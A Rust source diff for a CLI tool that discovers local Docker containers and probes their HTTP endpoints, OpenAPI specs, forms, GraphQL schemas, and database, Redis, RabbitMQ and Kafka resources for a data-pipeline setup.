+    std::fs::write(&exact_path, &payload).map_err(CliError::Io)?;
+
+    let latest_path = latest_pipe_scan_cache_path(project_dir, &request.selector)?;
+    std::fs::write(&latest_path, &payload).map_err(CliError::Io)?;
+    Ok(())
+}
+
+fn load_latest_pipe_scan_cache(
+    project_dir: &Path,
+    selector: &PipeDiscoverySelector,
+) -> Result<Option<AgentCommandInfo>, CliError> {
+    let path = latest_pipe_scan_cache_path(project_dir, selector)?;
+    let Some(entry) = read_cached_pipe_discovery(&path)? else {
+        return Ok(None);
+    };
+    cache_entry_to_agent_info(&entry).map(Some)
+}
+
+fn load_exact_pipe_scan_cache(
+    project_dir: &Path,
+    request: &PipeDiscoveryRequest,
+) -> Result<Option<AgentCommandInfo>, CliError> {
+    let path = exact_pipe_scan_cache_path(project_dir, request)?;
+    let Some(entry) = read_cached_pipe_discovery(&path)? else {
+        return Ok(None);
+    };
+    cache_entry_to_agent_info(&entry).map(Some)
+}
+
+fn detection_outcome(
+    endpoints: &[ProbeEndpoint],
+    forms: &[ProbeForm],
+    resources: &[ProbeResource],
+) -> String {
+    if !endpoints.is_empty() || !forms.is_empty() || !resources.is_empty() {
+        "detected".to_string()
+    } else {
+        "empty".to_string()
     }
 }
 
-fn print_scan_result(info: &AgentCommandInfo) {
-    if info.status != "completed" {
-        if let Some(ref error) = info.error {
-            eprintln!("Scan failed: {}", fmt::pretty_json(error));
-        } else {
-            eprintln!("Scan failed: unknown error");
-        }
-        return;
+fn selector_is_smtpish(selector: &str) -> bool {
+    let canonical = ServiceCatalog::resolve_alias(selector);
+    selector_matches_builtin_kind(&canonical, PipeAdapterKind::SmtpTarget)
+        || selector_matches_builtin_kind(selector, PipeAdapterKind::SmtpTarget)
+}
+
+fn classify_probe_target_kind(selector: &str, report: &ProbeEndpointsCommandReport) -> String {
+    if !report.endpoints.is_empty() {
+        return "http_endpoint".to_string();
+    }
+    if !report.forms.is_empty() {
+        return "html_form".to_string();
     }
 
-    let result = match &info.result {
-        Some(r) => r,
-        None => {
-            eprintln!("No scan results returned");
-            return;
-        }
-    };
+    let resource_protocols = report
+        .resources
+        .iter()
+        .map(|resource| resource.protocol.to_ascii_lowercase())
+        .collect::<BTreeSet<_>>();
+    if resource_protocols.contains("smtp") || selector_is_smtpish(selector) {
+        return "smtp".to_string();
+    }
+    if resource_protocols.len() == 1 {
+        return resource_protocols
+            .iter()
+            .next()
+            .cloned()
+            .unwrap_or_else(|| "resource".to_string());
+    }
+    if resource_protocols.len() > 1 {
+        return "resource".to_string();
+    }
+    if selector_is_smtpish(selector) {
+        return "smtp".to_string();
+    }
 
-    let app_code = result["app_code"].as_str().unwrap_or("unknown");
-    let protocols = result["protocols_detected"]
-        .as_array()
-        .map(|a| {
-            a.iter()
-                .filter_map(|v| v.as_str())
-                .collect::<Vec<_>>()
-                .join(", ")
-        })
-        .unwrap_or_default();
+    "unknown".to_string()
+}
 
-    println!("\n  App: {}", app_code);
-    println!(
-        "  Protocols detected: {}",
-        if protocols.is_empty() {
-            "none"
-        } else {
-            &protocols
-        }
-    );
+fn enrich_probe_report_metadata(
+    report: &mut ProbeEndpointsCommandReport,
+    selector: &str,
+    container: Option<&str>,
+    request: &PipeDiscoveryRequest,
+) {
+    if report.protocols_requested.is_empty() {
+        report.protocols_requested = request.protocols_requested.clone();
+    }
 
-    if let Some(endpoints) = result["endpoints"].as_array() {
-        for ep in endpoints {
-            let protocol = ep["protocol"].as_str().unwrap_or("unknown");
-            let base_url = ep["base_url"].as_str().unwrap_or("");
-            let spec_url = ep["spec_url"].as_str().unwrap_or("");
-            println!("\n  [{protocol}] {base_url}{spec_url}");
+    if report.probe_attempts.is_empty() {
+        report.probe_attempts.push(ProbeAttempt {
+            scope: if request.selector.mode == "local" {
+                "local_selector".to_string()
+            } else {
+                "remote_app".to_string()
+            },
+            selector: Some(selector.to_string()),
+            container: container.map(str::to_string),
+            protocols: report.protocols_requested.clone(),
+            outcome: detection_outcome(&report.endpoints, &report.forms, &report.resources),
+        });
+    }
 
-            if let Some(operations) = ep["operations"].as_array() {
-                for op in operations {
-                    let method = op["method"].as_str().unwrap_or("?");
-                    let path = op["path"].as_str().unwrap_or("?");
-                    let summary = op["summary"].as_str().unwrap_or("");
-                    let fields = op["fields"]
-                        .as_array()
-                        .map(|a| {
-                            a.iter()
-                                .filter_map(|v| v.as_str())
-                                .collect::<Vec<_>>()
-                                .join(", ")
-                        })
-                        .unwrap_or_default();
+    if report.target_kind.is_none() {
+        report.target_kind = Some(classify_probe_target_kind(selector, report));
+    }
+}
 
-                    print!("    {:>6} {}", method, path);
-                    if !summary.is_empty() {
-                        print!("  -- {}", summary);
-                    }
-                    println!();
-                    if !fields.is_empty() {
-                        println!("           fields: [{}]", fields);
-                    }
-                    if let Some(sample) = op.get("sample_response") {
-                        if !sample.is_null() {
-                            let sample_str = serde_json::to_string(sample).unwrap_or_default();
-                            if sample_str.len() > 120 {
-                                println!("           sample: {}...", &sample_str[..117]);
-                            } else {
-                                println!("           sample: {}", sample_str);
-                            }
-                        }
-                    }
-                }
+fn decode_probe_report(info: &AgentCommandInfo) -> Result<ProbeEndpointsCommandReport, CliError> {
+    let result = info.result.clone().ok_or_else(|| {
+        CliError::ConfigValidation("probe_endpoints result payload is missing".to_string())
+    })?;
+    serde_json::from_value(result).map_err(|err| {
+        CliError::ConfigValidation(format!("Invalid probe_endpoints result payload: {}", err))
+    })
+}
+
+fn with_probe_report(
+    mut info: AgentCommandInfo,
+    report: &ProbeEndpointsCommandReport,
+) -> Result<AgentCommandInfo, CliError> {
+    info.result = Some(serde_json::to_value(report).map_err(|err| {
+        CliError::ConfigValidation(format!(
+            "Failed to encode probe_endpoints result payload: {}",
+            err
+        ))
+    })?);
+    Ok(info)
+}
+
+fn parse_port_key(key: &str) -> Option<(u16, String)> {
+    let mut parts = key.split('/');
+    let port = parts.next()?.parse::<u16>().ok()?;
+    let protocol = parts.next().unwrap_or("tcp").to_string();
+    Some((port, protocol))
+}
+
+fn parse_env_map(values: &[serde_json::Value]) -> BTreeMap<String, String> {
+    let mut env = BTreeMap::new();
+    for value in values {
+        if let Some(entry) = value.as_str() {
+            if let Some((key, val)) = entry.split_once('=') {
+                env.insert(key.to_string(), val.to_string());
             }
         }
     }
+    env
+}
 
-    if let Some(forms) = result["forms"].as_array() {
-        if !forms.is_empty() {
-            println!("\n  HTML Forms:");
-            for form in forms {
-                let id = form["id"].as_str().unwrap_or("?");
-                let action = form["action"].as_str().unwrap_or("?");
-                let method = form["method"].as_str().unwrap_or("?");
-                let fields = form["fields"]
-                    .as_array()
-                    .map(|a| {
-                        a.iter()
-                            .filter_map(|v| v.as_str())
-                            .collect::<Vec<_>>()
-                            .join(", ")
-                    })
-                    .unwrap_or_default();
+fn parse_string_map(value: Option<&serde_json::Value>) -> BTreeMap<String, String> {
+    let mut map = BTreeMap::new();
+    if let Some(obj) = value.and_then(|v| v.as_object()) {
+        for (key, val) in obj {
+            if let Some(str_val) = val.as_str() {
+                map.insert(key.clone(), str_val.to_string());
+            }
+        }
+    }
+    map
+}
 
-                println!("    #{}  {} {}", id, method, action);
-                if !fields.is_empty() {
-                    println!("      fields: [{}]", fields);
+fn parse_local_container_inspect(
+    value: &serde_json::Value,
+) -> Result<LocalContainerInfo, CliError> {
+    let id = value["Id"]
+        .as_str()
+        .ok_or_else(|| CliError::ConfigValidation("docker inspect missing Id".to_string()))?
+        .to_string();
+    let name = value["Name"]
+        .as_str()
+        .unwrap_or("")
+        .trim_start_matches('/')
+        .to_string();
+    let image = value["Config"]["Image"].as_str().unwrap_or("").to_string();
+    let status = value["State"]["Status"].as_str().unwrap_or("").to_string();
+    let env = parse_env_map(
+        value["Config"]["Env"]
+            .as_array()
+            .map(Vec::as_slice)
+            .unwrap_or(&[]),
+    );
+    let labels = parse_string_map(value["Config"].get("Labels"));
+
+    let mut addresses = Vec::new();
+    let mut network = String::new();
+    if let Some(networks) = value["NetworkSettings"]["Networks"].as_object() {
+        for (network_name, network_info) in networks {
+            if network.is_empty() {
+                network = network_name.clone();
+            }
+            if let Some(ip) = network_info["IPAddress"].as_str() {
+                if !ip.is_empty() {
+                    addresses.push(ip.to_string());
                 }
             }
         }
     }
 
+    let mut ports = Vec::new();
+    let mut seen = BTreeSet::new();
+    if let Some(port_map) = value["NetworkSettings"]["Ports"].as_object() {
+        for (key, host_bindings) in port_map {
+            if let Some((container_port, protocol)) = parse_port_key(key) {
+                let binding_targets: Vec<(Option<u16>, Option<String>)> =
+                    if let Some(bindings) = host_bindings.as_array() {
+                        bindings
+                            .iter()
+                            .map(|binding| {
+                                (
+                                    binding["HostPort"]
+                                        .as_str()
+                                        .and_then(|v| v.parse::<u16>().ok()),
+                                    binding["HostIp"].as_str().map(str::to_string),
+                                )
+                            })
+                            .collect()
+                    } else {
+                        vec![(None, None)]
+                    };
+                for (host_port, host_ip) in binding_targets {
+                    if seen.insert((container_port, host_port, protocol.clone())) {
+                        ports.push(LocalPortBinding {
+                            container_port,
+                            host_port,
+                            host_ip,
+                            protocol: protocol.clone(),
+                        });
+                    }
+                }
+            }
+        }
+    }
+
+    if let Some(exposed) = value["Config"]["ExposedPorts"].as_object() {
+        for key in exposed.keys() {
+            if let Some((container_port, protocol)) = parse_port_key(key) {
+                if seen.insert((container_port, None, protocol.clone())) {
+                    ports.push(LocalPortBinding {
+                        container_port,
+                        host_port: None,
+                        host_ip: None,
+                        protocol,
+                    });
+                }
+            }
+        }
+    }
+
+    if ports.is_empty() {
+        for env_key in ["PORT", "APP_PORT", "SERVICE_PORT", "HTTP_PORT"] {
+            if let Some(value) = env.get(env_key).and_then(|v| v.parse::<u16>().ok()) {
+                ports.push(LocalPortBinding {
+                    container_port: value,
+                    host_port: None,
+                    host_ip: None,
+                    protocol: "tcp".to_string(),
+                });
+            }
+        }
+    }
+
+    Ok(LocalContainerInfo {
+        id,
+        name,
+        image,
+        network,
+        addresses,
+        ports,
+        status,
+        env,
+        labels,
+    })
+}
+
+fn docker_host_http_target(host_ip: Option<&str>, host_port: u16) -> String {
+    match host_ip.unwrap_or_default() {
+        "::" => format!("http://[::1]:{}", host_port),
+        "" | "0.0.0.0" => format!("http://localhost:{}", host_port),
+        ip if ip.contains(':') => format!("http://[{}]:{}", ip, host_port),
+        ip => format!("http://{}:{}", ip, host_port),
+    }
+}
+
+fn docker_host_target(host_ip: Option<&str>) -> String {
+    match host_ip.unwrap_or_default() {
+        "::" | "" | "0.0.0.0" => "127.0.0.1".to_string(),
+        ip => ip.to_string(),
+    }
+}
+
+fn local_http_candidate_urls(container: &LocalContainerInfo) -> Vec<String> {
+    let mut urls = Vec::new();
+    let mut seen = BTreeSet::new();
+    for port in &container.ports {
+        if port.protocol != "tcp" {
+            continue;
+        }
+        if let Some(host_port) = port.host_port {
+            let url = docker_host_http_target(port.host_ip.as_deref(), host_port);
+            if seen.insert(url.clone()) {
+                urls.push(url);
+            }
+        }
+        for address in &container.addresses {
+            let url = format!("http://{}:{}", address, port.container_port);
+            if seen.insert(url.clone()) {
+                urls.push(url);
+            }
+        }
+    }
+    urls
+}
+
+fn docker_exec(container: &str, args: &[String]) -> Option<String> {
+    let output = std::process::Command::new("docker")
+        .arg("exec")
+        .arg(container)
+        .args(args)
+        .output()
+        .ok()?;
+    if !output.status.success() {
+        return None;
+    }
+    let stdout = String::from_utf8(output.stdout).ok()?;
+    let trimmed = stdout.trim().to_string();
+    if trimmed.is_empty() {
+        None
+    } else {
+        Some(trimmed)
+    }
+}
+
+fn local_resource_probe_plan(container: &LocalContainerInfo) -> Vec<String> {
+    let identity = format!(
+        "{} {}",
+        container.name.to_lowercase(),
+        container.image.to_lowercase()
+    );
+    let mut plan = Vec::new();
+    for (needle, protocol) in [
+        ("postgres", "postgres"),
+        ("timescaledb", "postgres"),
+        ("mysql", "mysql"),
+        ("mariadb", "mysql"),
+        ("redis", "redis"),
+        ("rabbitmq", "rabbitmq"),
+        ("kafka", "kafka"),
+        ("mcp", "mcp"),
+        ("grpc", "grpc"),
+        ("ws", "websocket"),
+        ("socket", "websocket"),
+    ] {
+        if identity.contains(needle) && !plan.iter().any(|item| item == protocol) {
+            plan.push(protocol.to_string());
+        }
+    }
+    for port in &container.ports {
+        match port.container_port {
+            5432 => plan.push("postgres".to_string()),
+            3306 => plan.push("mysql".to_string()),
+            6379 => plan.push("redis".to_string()),
+            5672 | 15672 => plan.push("rabbitmq".to_string()),
+            9092 => plan.push("kafka".to_string()),
+            50051 | 50052 => plan.push("grpc".to_string()),
+            _ => {}
+        }
+    }
+    plan.sort();
+    plan.dedup();
+    plan
+}
+
+fn parse_openapi_fields(operation: &serde_json::Value) -> Vec<String> {
+    let mut fields = Vec::new();
+    if let Some(parameters) = operation["parameters"].as_array() {
+        for param in parameters {
+            if let Some(name) = param["name"].as_str() {
+                fields.push(name.to_string());
+            }
+        }
+    }
+    if let Some(content) = operation["requestBody"]["content"].as_object() {
+        for schema in content.values() {
+            if let Some(properties) = schema["schema"]["properties"].as_object() {
+                for key in properties.keys() {
+                    if !fields.contains(key) {
+                        fields.push(key.clone());
+                    }
+                }
+            }
+        }
+    }
+    fields
+}
+
+fn parse_openapi_endpoint(
+    container_name: &str,
+    base_url: &str,
+    spec_url: &str,
+    doc: &serde_json::Value,
+) -> Option<ProbeEndpoint> {
+    let paths = doc["paths"].as_object()?;
+    let mut operations = Vec::new();
+    for (path, path_item) in paths {
+        for method in ["get", "post", "put", "patch", "delete"] {
+            if let Some(operation) = path_item.get(method) {
+                operations.push(ProbeOperation {
+                    path: path.clone(),
+                    method: method.to_uppercase(),
+                    summary: operation["summary"].as_str().unwrap_or("").to_string(),
+                    fields: parse_openapi_fields(operation),
+                    sample_response: None,
+                });
+            }
+        }
+    }
+    if operations.is_empty() {
+        return None;
+    }
+    Some(ProbeEndpoint {
+        container: Some(container_name.to_string()),
+        protocol: "openapi".to_string(),
+        base_url: base_url.to_string(),
+        spec_url: spec_url.to_string(),
+        operations,
+    })
+}
+
+fn try_parse_json(value: &str) -> Option<serde_json::Value> {
+    serde_json::from_str(value).ok()
+}
+
+fn local_http_probe(
+    container: &LocalContainerInfo,
+    protocols: &[String],
+    capture_samples: bool,
+    timeout_secs: u64,
+) -> (Vec<ProbeEndpoint>, Vec<ProbeForm>, Vec<String>) {
+    let mut endpoints = Vec::new();
+    let mut forms = Vec::new();
+    let mut detected = Vec::new();
+    let client = match reqwest::blocking::Client::builder()
+        .timeout(std::time::Duration::from_secs(timeout_secs))
+        .danger_accept_invalid_certs(true)
+        .build()
+    {
+        Ok(client) => client,
+        Err(_) => return (endpoints, forms, detected),
+    };
+
+    let urls = local_http_candidate_urls(container);
+    let mut seen_endpoint = BTreeSet::new();
+    let protocol_set: BTreeSet<String> = protocols.iter().map(|p| p.to_lowercase()).collect();
+
+    if protocol_set.contains("openapi") {
+        for base_url in &urls {
+            for spec_url in [
+                "/openapi.json",
+                "/swagger.json",
+                "/api/openapi.json",
+                "/v3/api-docs",
+                "/swagger/v1/swagger.json",
+            ] {
+                let full_url = format!("{}{}", base_url, spec_url);
+                let Ok(response) = client.get(&full_url).send() else {
+                    continue;
+                };
+                if !response.status().is_success() {
+                    continue;
+                }
+                let Ok(body) = response.text() else {
+                    continue;
+                };
+                let Some(json) = try_parse_json(&body) else {
+                    continue;
+                };
+                if json.get("paths").is_none() {
+                    continue;
+                }
+                if let Some(endpoint) =
+                    parse_openapi_endpoint(&container.name, base_url, spec_url, &json)
+                {
+                    let key = format!("openapi:{}{}", base_url, spec_url);
+                    if seen_endpoint.insert(key) {
+                        endpoints.push(endpoint);
+                        detected.push("openapi".to_string());
+                    }
+                }
+            }
+        }
+    }
+
+    if protocol_set.contains("rest") {
+        for base_url in &urls {
+            for path in ["/health", "/healthz", "/ready", "/api", "/"] {
+                let full_url = format!("{}{}", base_url, path);
+                let Ok(response) = client.get(&full_url).send() else {
+                    continue;
+                };
+                if !response.status().is_success() {
+                    continue;
+                }
+                let content_type = response
+                    .headers()
+                    .get(reqwest::header::CONTENT_TYPE)
+                    .and_then(|v| v.to_str().ok())
+                    .unwrap_or("")
+                    .to_string();
+                let Ok(body) = response.text() else {
+                    continue;
+                };
+                if content_type.contains("html") {
+                    continue;
+                }
+                let sample = if capture_samples {
+                    try_parse_json(&body)
+                } else {
+                    None
+                };
+                let key = format!("rest:{}{}", base_url, path);
+                if seen_endpoint.insert(key) {
+                    endpoints.push(ProbeEndpoint {
+                        container: Some(container.name.clone()),
+                        protocol: "rest".to_string(),
+                        base_url: base_url.to_string(),
+                        spec_url: String::new(),
+                        operations: vec![ProbeOperation {
+                            path: path.to_string(),
+                            method: "GET".to_string(),
+                            summary: "Discovered local HTTP endpoint".to_string(),
+                            fields: Vec::new(),
+                            sample_response: sample,
+                        }],
+                    });
+                    detected.push("rest".to_string());
+                }
+            }
+        }
+    }
+
+    if protocol_set.contains("html_forms") {
+        let form_re =
+            Regex::new(r#"(?si)<form([^>]*)>(.*?)</form>"#).expect("form regex must compile");
+        let action_re =
+            Regex::new(r#"action=["']?([^"'\s>]+)"#).expect("action regex must compile");
+        let method_re =
+            Regex::new(r#"method=["']?([^"'\s>]+)"#).expect("method regex must compile");
+        let id_re = Regex::new(r#"id=["']?([^"'\s>]+)"#).expect("id regex must compile");
+        let field_re = Regex::new(r#"(?:input|select|textarea)[^>]*name=["']?([^"'\s>]+)"#)
+            .expect("field regex must compile");
+
+        for base_url in &urls {
+            for path in ["/", "/login", "/signup", "/contact"] {
+                let full_url = format!("{}{}", base_url, path);
+                let Ok(response) = client.get(&full_url).send() else {
+                    continue;
+                };
+                if !response.status().is_success() {
+                    continue;
+                }
+                let content_type = response
+                    .headers()
+                    .get(reqwest::header::CONTENT_TYPE)
+                    .and_then(|v| v.to_str().ok())
+                    .unwrap_or("")
+                    .to_string();
+                if !content_type.contains("html") {
+                    continue;
+                }
+                let Ok(body) = response.text() else {
+                    continue;
+                };
+                for capture in form_re.captures_iter(&body) {
+                    let attrs = capture.get(1).map(|m| m.as_str()).unwrap_or("");
+                    let inner = capture.get(2).map(|m| m.as_str()).unwrap_or("");
+                    let action = action_re
+                        .captures(attrs)
+                        .and_then(|c| c.get(1))
+                        .map(|m| m.as_str().to_string())
+                        .unwrap_or_else(|| path.to_string());
+                    let method = method_re
+                        .captures(attrs)
+                        .and_then(|c| c.get(1))
+                        .map(|m| m.as_str().to_uppercase())
+                        .unwrap_or_else(|| "GET".to_string());
+                    let id = id_re
+                        .captures(attrs)
+                        .and_then(|c| c.get(1))
+                        .map(|m| m.as_str().to_string())
+                        .unwrap_or_else(|| format!("{}{}", container.name, path));
+                    let fields = field_re
+                        .captures_iter(inner)
+                        .filter_map(|c| c.get(1).map(|m| m.as_str().to_string()))
+                        .collect::<Vec<_>>();
+                    forms.push(ProbeForm {
+                        container: Some(container.name.clone()),
+                        id,
+                        action,
+                        method,
+                        fields,
+                    });
+                    detected.push("html_forms".to_string());
+                }
+            }
+        }
+    }
+
+    if protocol_set.contains("graphql") {
+        let introspection = serde_json::json!({
+            "query": "query IntrospectionQuery { __schema { queryType { name } mutationType { name } } }"
+        });
+        for base_url in &urls {
+            for path in ["/graphql", "/api/graphql"] {
+                let full_url = format!("{}{}", base_url, path);
+                let Ok(response) = client.post(&full_url).json(&introspection).send() else {
+                    continue;
+                };
+                if !response.status().is_success() {
+                    continue;
+                }
+                let Ok(body) = response.text() else {
+                    continue;
+                };
+                let Some(json) = try_parse_json(&body) else {
+                    continue;
+                };
+                if json.get("data").is_none() {
+                    continue;
+                }
+                let key = format!("graphql:{}{}", base_url, path);
+                if seen_endpoint.insert(key) {
+                    endpoints.push(ProbeEndpoint {
+                        container: Some(container.name.clone()),
+                        protocol: "graphql".to_string(),
+                        base_url: base_url.to_string(),
+                        spec_url: path.to_string(),
+                        operations: vec![ProbeOperation {
+                            path: path.to_string(),
+                            method: "POST".to_string(),
+                            summary: "GraphQL endpoint".to_string(),
+                            fields: vec!["query".to_string(), "variables".to_string()],
+                            sample_response: if capture_samples { Some(json) } else { None },
+                        }],
+                    });
+                    detected.push("graphql".to_string());
+                }
+            }
+        }
+    }
+
+    (endpoints, forms, detected)
+}
+
+fn first_container_address(container: &LocalContainerInfo, default_port: u16) -> String {
+    if let Some(port) = container
+        .ports
+        .iter()
+        .find(|port| port.container_port == default_port)
+    {
+        if let Some(host_port) = port.host_port {
+            return docker_host_http_target(port.host_ip.as_deref(), host_port)
+                .trim_start_matches("http://")
+                .to_string();
+        }
+    }
+    container
+        .addresses
+        .first()
+        .map(|ip| format!("{}:{}", ip, default_port))
+        .unwrap_or_else(|| format!("{}:{}", container.name, default_port))
+}
+
+fn local_resource_probe(
+    container: &LocalContainerInfo,
+    protocols: &[String],
+) -> (Vec<ProbeResource>, Vec<String>) {
+    let mut resources = Vec::new();
+    let mut detected = Vec::new();
+    let requested: BTreeSet<String> = protocols.iter().map(|p| p.to_lowercase()).collect();
+
+    if requested.contains("postgres")
+        && local_resource_probe_plan(container)
+            .iter()
+            .any(|p| p == "postgres")
+    {
+        let user = container
+            .env
+            .get("POSTGRES_USER")
+            .cloned()
+            .unwrap_or_else(|| "postgres".to_string());
+        let db = container
+            .env
+            .get("POSTGRES_DB")
+            .cloned()
+            .unwrap_or_else(|| user.clone());
+        let command = vec![
+            "psql".to_string(),
+            "-U".to_string(),
+            user.clone(),
+            "-d".to_string(),
+            db.clone(),
+            "-Atqc".to_string(),
+            "SELECT table_schema||'.'||table_name FROM information_schema.tables WHERE table_schema NOT IN ('pg_catalog','information_schema') ORDER BY 1 LIMIT 50".to_string(),
+        ];
+        if let Some(output) = docker_exec(&container.name, &command) {
+            let items = output
+                .lines()
+                .filter(|line| !line.trim().is_empty())
+                .map(|line| ProbeResourceItem {
+                    resource_type: "table".to_string(),
+                    name: line.trim().to_string(),
+                    summary: "CDC candidate".to_string(),
+                    fields: Vec::new(),
+                })
+                .collect::<Vec<_>>();
+            if !items.is_empty() {
+                resources.push(ProbeResource {
+                    container: container.name.clone(),
+                    protocol: "postgres".to_string(),
+                    address: format!(
+                        "postgres://{}/{}",
+                        first_container_address(container, 5432),
+                        db
+                    ),
+                    items,
+                });
+                detected.push("postgres".to_string());
+            }
+        }
+    }
+
+    if requested.contains("mysql")
+        && local_resource_probe_plan(container)
+            .iter()
+            .any(|p| p == "mysql")
+    {
+        let user = container
+            .env
+            .get("MYSQL_USER")
+            .cloned()
+            .unwrap_or_else(|| "root".to_string());
+        let db = container
+            .env
+            .get("MYSQL_DATABASE")
+            .cloned()
+            .unwrap_or_else(|| "mysql".to_string());
+        let password_arg = container
+            .env
+            .get("MYSQL_PASSWORD")
+            .or_else(|| container.env.get("MYSQL_ROOT_PASSWORD"))
+            .map(|v| format!("-p{}", v))
+            .unwrap_or_default();
+        let mut args = vec!["mysql".to_string(), "-u".to_string(), user.clone()];
+        if !password_arg.is_empty() {
+            args.push(password_arg);
+        }
+        args.extend([
+            "-Nse".to_string(),
+            "SELECT CONCAT(TABLE_SCHEMA,'.',TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA NOT IN ('information_schema','mysql','performance_schema','sys') LIMIT 50".to_string(),
+            db.clone(),
+        ]);
+        if let Some(output) = docker_exec(&container.name, &args) {
+            let items = output
+                .lines()
+                .filter(|line| !line.trim().is_empty())
+                .map(|line| ProbeResourceItem {
+                    resource_type: "table".to_string(),
+                    name: line.trim().to_string(),
+                    summary: "SQL resource".to_string(),
+                    fields: Vec::new(),
+                })
+                .collect::<Vec<_>>();
+            if !items.is_empty() {
+                resources.push(ProbeResource {
+                    container: container.name.clone(),
+                    protocol: "mysql".to_string(),
+                    address: format!(
+                        "mysql://{}/{}",
+                        first_container_address(container, 3306),
+                        db
+                    ),
+                    items,
+                });
+                detected.push("mysql".to_string());
+            }
+        }
+    }
+
+    if requested.contains("redis")
+        && local_resource_probe_plan(container)
+            .iter()
+            .any(|p| p == "redis")
+    {
+        if let Some(output) = docker_exec(
+            &container.name,
+            &[
+                "redis-cli".to_string(),
+                "--raw".to_string(),
+                "INFO".to_string(),
+                "keyspace".to_string(),
+            ],
+        ) {
+            let items = output
+                .lines()
+                .filter(|line| line.starts_with("db"))
+                .map(|line| ProbeResourceItem {
+                    resource_type: "keyspace".to_string(),
+                    name: line.split(':').next().unwrap_or(line).to_string(),
+                    summary: line.to_string(),
+                    fields: Vec::new(),
+                })
+                .collect::<Vec<_>>();
+            if !items.is_empty() {
+                resources.push(ProbeResource {
+                    container: container.name.clone(),
+                    protocol: "redis".to_string(),
+                    address: format!("redis://{}", first_container_address(container, 6379)),
+                    items,
+                });
+                detected.push("redis".to_string());
+            }
+        }
+    }
+
+    if requested.contains("rabbitmq")
+        && local_resource_probe_plan(container)
+            .iter()
+            .any(|p| p == "rabbitmq")
+    {
+        let queues = docker_exec(
+            &container.name,
+            &[
+                "rabbitmqctl".to_string(),
+                "list_queues".to_string(),
+                "name".to_string(),
+                "messages".to_string(),
+            ],
+        )
+        .unwrap_or_default();
+        let exchanges = docker_exec(
+            &container.name,
+            &[
+                "rabbitmqctl".to_string(),
+                "list_exchanges".to_string(),
+                "name".to_string(),
+                "type".to_string(),
+            ],
+        )
+        .unwrap_or_default();
+        let mut items = Vec::new();
+        for line in queues.lines().skip(1) {
+            let trimmed = line.trim();
+            if !trimmed.is_empty() {
+                let name = trimmed
+                    .split_whitespace()
+                    .next()
+                    .unwrap_or(trimmed)
+                    .to_string();
+                items.push(ProbeResourceItem {
+                    resource_type: "queue".to_string(),
+                    name,
+                    summary: trimmed.to_string(),
+                    fields: Vec::new(),
+                });
+            }
+        }
+        for line in exchanges.lines().skip(1) {
+            let trimmed = line.trim();
+            if !trimmed.is_empty() {
+                let name = trimmed
+                    .split_whitespace()
+                    .next()
+                    .unwrap_or(trimmed)
+                    .to_string();
+                items.push(ProbeResourceItem {
+                    resource_type: "exchange".to_string(),
+                    name,
+                    summary: trimmed.to_string(),
+                    fields: Vec::new(),
+                });
+            }
+        }
+        if !items.is_empty() {
+            resources.push(ProbeResource {
+                container: container.name.clone(),
+                protocol: "rabbitmq".to_string(),
+                address: format!("amqp://{}", first_container_address(container, 5672)),
+                items,
+            });
+            detected.push("rabbitmq".to_string());
+        }
+    }
+
+    if requested.contains("kafka")
+        && local_resource_probe_plan(container)
+            .iter()
+            .any(|p| p == "kafka")
+    {
+        let script = "if command -v kafka-topics.sh >/dev/null 2>&1; then kafka-topics.sh --bootstrap-server localhost:9092 --list; elif [ -x /opt/bitnami/kafka/bin/kafka-topics.sh ]; then /opt/bitnami/kafka/bin/kafka-topics.sh --bootstrap-server localhost:9092 --list; fi";
+        if let Some(output) = docker_exec(
+            &container.name,
+            &["sh".to_string(), "-lc".to_string(), script.to_string()],
+        ) {
+            let items = output
+                .lines()
+                .filter(|line| !line.trim().is_empty())
+                .map(|line| ProbeResourceItem {
+                    resource_type: "topic".to_string(),
+                    name: line.trim().to_string(),
+                    summary: "Kafka topic".to_string(),
+                    fields: Vec::new(),
+                })
+                .collect::<Vec<_>>();
+            if !items.is_empty() {
+                resources.push(ProbeResource {
+                    container: container.name.clone(),
+                    protocol: "kafka".to_string(),
+                    address: first_container_address(container, 9092),
+                    items,
+                });
+                detected.push("kafka".to_string());
+            }
+        }
+    }
+
+    if requested.contains("grpc")
+        && local_resource_probe_plan(container)
+            .iter()
+            .any(|p| p == "grpc")
+    {
+        resources.push(ProbeResource {
+            container: container.name.clone(),
+            protocol: "grpc".to_string(),
+            address: first_container_address(container, 50051),
+            items: vec![ProbeResourceItem {
+                resource_type: "service".to_string(),
+                name: container.name.clone(),
+                summary: "gRPC port detected; reflection probing not yet available locally"
+                    .to_string(),
+                fields: Vec::new(),
+            }],
+        });
+        detected.push("grpc".to_string());
+    }
+
+    (resources, detected)
+}
+
+fn discover_local_containers(
+    filter: Option<&str>,
+) -> Result<Vec<LocalContainerInfo>, Box<dyn std::error::Error>> {
+    let output = std::process::Command::new("docker")
+        .args([
+            "ps",
+            "--format",
+            "{{.ID}}\t{{.Names}}\t{{.Ports}}\t{{.Networks}}\t{{.Status}}\t{{.Image}}",
+        ])
+        .output()?;
+
+    if !output.status.success() {
+        let stderr = String::from_utf8_lossy(&output.stderr);
+        return Err(Box::new(CliError::ConfigValidation(format!(
+            "docker ps failed: {}",
+            stderr.trim()
+        ))));
+    }
+
+    let stdout = String::from_utf8_lossy(&output.stdout);
+    let lines: Vec<_> = stdout.lines().filter(|l| !l.trim().is_empty()).collect();
+    let filter = filter.filter(|value| !value.is_empty() && *value != "*" && *value != "all");
+
+    let matched: Vec<_> = if let Some(filter) = filter {
+        lines
+            .into_iter()
+            .filter(|line| {
+                line.split('\t')
+                    .nth(1)
+                    .map(|name| name.contains(filter))
+                    .unwrap_or(false)
+            })
+            .collect()
+    } else {
+        lines
+    };
+
+    let mut containers = Vec::new();
+    for line in matched {
+        let parts: Vec<&str> = line.split('\t').collect();
+        let container_id = parts.first().copied().unwrap_or("");
+        let inspect_output = std::process::Command::new("docker")
+            .args(["inspect", container_id])
+            .output()?;
+        if !inspect_output.status.success() {
+            continue;
+        }
+        let inspect_json: serde_json::Value = serde_json::from_slice(&inspect_output.stdout)?;
+        let inspect_entry = inspect_json
+            .as_array()
+            .and_then(|items| items.first())
+            .cloned()
+            .unwrap_or(inspect_json);
+        if let Ok(container) = parse_local_container_inspect(&inspect_entry) {
+            containers.push(container);
+        }
+    }
+
+    Ok(containers)
+}
+
+fn build_local_probe_report(
+    app_code: &str,
+    containers: &[LocalContainerInfo],
+    protocols: &[String],
+    capture_samples: bool,
+) -> ProbeEndpointsCommandReport {
+    build_local_probe_report_with_progress(
+        app_code,
+        containers,
+        protocols,
+        capture_samples,
+        |_, _, _| {},
+    )
